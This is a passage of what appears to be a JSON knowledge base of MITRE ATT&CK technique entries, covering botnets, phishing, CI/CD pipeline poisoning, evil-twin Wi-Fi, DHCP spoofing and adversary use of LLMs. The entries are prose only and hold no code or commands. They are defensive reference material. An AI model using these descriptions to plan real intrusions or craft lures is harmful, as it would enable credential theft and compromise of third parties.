phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.005", + "text": "ATT&CK technique: T1584.005 Botnet\nDescription: Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1608.003", + "text": "ATT&CK technique: T1608.003 Install Digital Certificate\nDescription: Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it. Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. Adversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.002", + "text": "ATT&CK technique: T1584.002 DNS Server\nDescription: Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588", + "text": "ATT&CK technique: T1588 Obtain Capabilities\nDescription: Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals. In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1602", + "text": "ATT&CK technique: T1602 Data from Configuration Repository\nDescription: Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices. Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.\nTactics: collection\nPlatforms: Network Devices" + }, + { + "id": "T1583.006", + "text": "ATT&CK technique: T1583.006 Web Services\nDescription: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1685", + "text": "ATT&CK technique: T1685 Disable or Modify Tools\nDescription: Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities. This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments. In addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with logging pipelines and forwarding mechanisms (e.g., SIEM ingestion). More advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents. Adversaries may also disrupt broader defensive operations, including update mechanisms, logging infrastructure (e.g., syslog), or event aggregation, further degrading an organization’s ability to detect and respond to malicious activity.\nTactics: defense impairment\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1677", + "text": "ATT&CK technique: T1677 Poisoned Pipeline Execution\nDescription: Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: * In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact. * In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters. * In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network. By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\nTactics: execution\nPlatforms: SaaS" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.003", + "text": "ATT&CK technique: T1583.003 Virtual Private Server\nDescription: Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1505", + "text": "ATT&CK technique: T1505 Server Software Component\nDescription: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.\nTactics: persistence\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1587", + "text": "ATT&CK technique: T1587 Develop Capabilities\nDescription: Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1566.003", + "text": "ATT&CK technique: T1566.003 Spearphishing via Service\nDescription: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.002", + "text": "ATT&CK technique: T1608.002 Upload Tool\nDescription: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1557.003", + "text": "ATT&CK technique: T1557.003 DHCP Spoofing\nDescription: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows: 1. The client broadcasts a `DISCOVER` message. 2. The server responds with an `OFFER` message, which includes an available network address. 3. The client broadcasts a `REQUEST` message, which includes the network address offered. 4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters. Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network. DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations. Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1585", + "text": "ATT&CK technique: T1585 Establish Accounts\nDescription: Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity. For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing. In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to Acquire Infrastructure for malicious purposes.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1585.003", + "text": "ATT&CK technique: T1585.003 Cloud Accounts\nDescription: Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers. Creating Cloud Accounts may also require adversaries to establish Email Accounts to register with the cloud provider.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.003", + "text": "ATT&CK technique: T1584.003 Virtual Private Server\nDescription: Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves. Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.003", + "text": "ATT&CK technique: T1592.003 Firmware\nDescription: Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.001", + "text": "ATT&CK technique: T1592.001 Hardware\nDescription: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1684", + "text": "ATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, 